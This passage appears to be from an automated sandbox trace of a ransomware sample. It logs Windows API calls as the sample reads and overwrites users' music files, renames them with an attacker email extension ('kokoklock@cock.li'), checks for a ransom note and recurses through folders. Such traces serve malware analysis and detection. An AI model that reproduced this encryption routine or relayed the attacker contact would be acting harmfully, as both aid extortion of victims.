Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xe2916c99 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xe5c41fd2 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x87710098 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xefc57917 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xb5b5da55 [0175.414] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.414] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22f7f804, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22f7f804*=0x4096, lpOverlapped=0x0) returned 1 [0175.414] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.414] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0175.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0175.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.415] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22f7f804, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22f7f804*=0x4096, lpOverlapped=0x0) returned 1 [0175.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.415] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x17e46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.415] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22f7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x22f7f83c*=0x20, lpOverlapped=0x0) returned 1 [0175.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.416] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x22f7f850*=0x8, lpOverlapped=0x0) returned 1 [0175.416] WriteFile (in: hFile=0x3c0, lpBuffer=0x22f7f868*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x22f7f868*, lpNumberOfBytesWritten=0x22f7f850*=0x4, lpOverlapped=0x0) returned 1 [0175.417] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22f7f850*=0x4, lpOverlapped=0x0) returned 1 [0175.417] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22f7f850*=0x6c, lpOverlapped=0x0) returned 1 [0175.417] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22f7f850*=0x20, lpOverlapped=0x0) returned 1 [0175.417] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22f7f850*=0x4, lpOverlapped=0x0) returned 1 [0175.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.417] CloseHandle (hObject=0x3c0) returned 1 [0175.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85618 [0175.417] wcscpy (in: _Dest=0x2f85618, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" [0175.417] wcscat (in: _Dest=0x2f85618, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.417] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.418] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85618) returned 1 [0175.419] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x3057440 [0175.419] wcscpy (in: _Dest=0x3057440, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0175.419] wcscat (in: _Dest=0x3057440, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" [0175.419] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\d0e731-readme.txt")) returned 0x20 [0175.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057440) returned 1 [0175.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9dcb0) returned 1 [0175.419] RtlExitUserThread (Status=0x1) Thread: id = 2432 os_tid = 0x97c [0175.421] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.421] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.421] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22fffe34 | out: lpFileSize=0x22fffe34*=63712) returned 1 [0175.421] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xf8dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.421] ReadFile (in: hFile=0x3c0, lpBuffer=0x22fffe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x22fffe08*, lpNumberOfBytesRead=0x22fffe04*=0x4, lpOverlapped=0x0) returned 1 [0175.422] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.422] NtQuerySystemTime (in: CurrentTime=0x22fffde0 | out: CurrentTime=0x22fffde0*=132121213327327318) returned 0x0 [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xd4eaeab9 [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x552f5fa0 [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x92056710 [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x2d7b2c85 [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xed46d84c [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x4700bed3 [0175.422] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xdb554762 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x8d6ad4c3 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xec100667 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x64818783 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xb71eda96 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x2d5d6d85 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x95806fe6 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xc1697af2 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x4b438a5f [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x5d62c9fd [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x116f963a [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x8569d1d1 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x59ad0002 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x9541d9ab [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xfaa8ae9e [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x3f38e9a [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x7f5694f2 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xe7164906 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x53db998a [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xce0a967b [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x81e8f7fe [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xaf650b28 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xc182d9b1 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0x8e65e841 [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xaf1af2f [0175.423] RtlRandom (in: Seed=0x22fffdec | out: Seed=0x22fffdec) returned 0xa9b18319 [0175.434] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.434] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22fffdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22fffdb8*=0x4096, lpOverlapped=0x0) returned 1 [0175.434] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.434] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.434] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.434] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.434] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.434] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.435] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.435] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0175.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0175.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.435] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22fffdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22fffdb8*=0x4096, lpOverlapped=0x0) returned 1 [0175.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.435] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xf8e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.435] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22fffdf0, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x22fffdf0*=0x20, lpOverlapped=0x0) returned 1 [0175.436] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.436] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.436] WriteFile (in: hFile=0x3c0, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x22fffe04*=0x8, lpOverlapped=0x0) returned 1 [0175.436] WriteFile (in: hFile=0x3c0, lpBuffer=0x22fffe1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x22fffe1c*, lpNumberOfBytesWritten=0x22fffe04*=0x4, lpOverlapped=0x0) returned 1 [0175.436] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22fffe04*=0x4, lpOverlapped=0x0) returned 1 [0175.436] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22fffe04*=0x6c, lpOverlapped=0x0) returned 1 [0175.436] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22fffe04*=0x20, lpOverlapped=0x0) returned 1 [0175.437] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22fffe04, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22fffe04*=0x4, lpOverlapped=0x0) returned 1 [0175.437] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.437] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.437] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0175.437] CloseHandle (hObject=0x3c0) returned 1 [0175.437] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85618 [0175.437] wcscpy (in: _Dest=0x2f85618, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" [0175.437] wcscat (in: _Dest=0x2f85618, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.438] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85618) returned 1 [0175.438] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.438] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x3057440 [0175.438] wcscpy (in: _Dest=0x3057440, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0175.438] wcscat (in: _Dest=0x3057440, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" [0175.438] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\d0e731-readme.txt")) returned 0x20 [0175.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057440) returned 1 [0175.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e2b0) returned 1 [0175.438] RtlExitUserThread (Status=0x1) Thread: id = 2433 os_tid = 0xc0c [0175.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013620 [0175.440] wcscpy (in: _Dest=0x3013620, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0175.440] wcscat (in: _Dest=0x3013620, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.440] wcscat (in: _Dest=0x3013620, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\*" [0175.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020ca8 [0175.440] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\*", lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0x8949cd65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8949cd65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045028 [0175.442] wcscmp (_String1=".", _String2=".") returned 0 [0175.442] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0x8949cd65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8949cd65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.442] wcscmp (_String1="..", _String2=".") returned 1 [0175.442] wcscmp (_String1="..", _String2="..") returned 0 [0175.442] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x894043cf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x894043cf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x894043cf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.442] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.442] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.442] FindNextFileW (in: hFindFile=0x3045028, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bdeda60, ftCreationTime.dwHighDateTime=0x1d4cbcb, ftLastAccessTime.dwLowDateTime=0x8e66a8e2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e66a8e2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="h68l59uHfVEnYu2pKYp_", cAlternateFileName="H68L59~1")) returned 1 [0175.442] wcscmp (_String1="h68l59uHfVEnYu2pKYp_", _String2=".") returned 1 [0175.442] wcscmp (_String1="h68l59uHfVEnYu2pKYp_", _String2="..") returned 1 [0175.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fa1ff8 [0175.442] wcscpy (in: _Dest=0x2fa1ff8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0175.442] wcscat (in: _Dest=0x2fa1ff8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0175.442] wcscat (in: _Dest=0x2fa1ff8, _Source="h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0175.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, 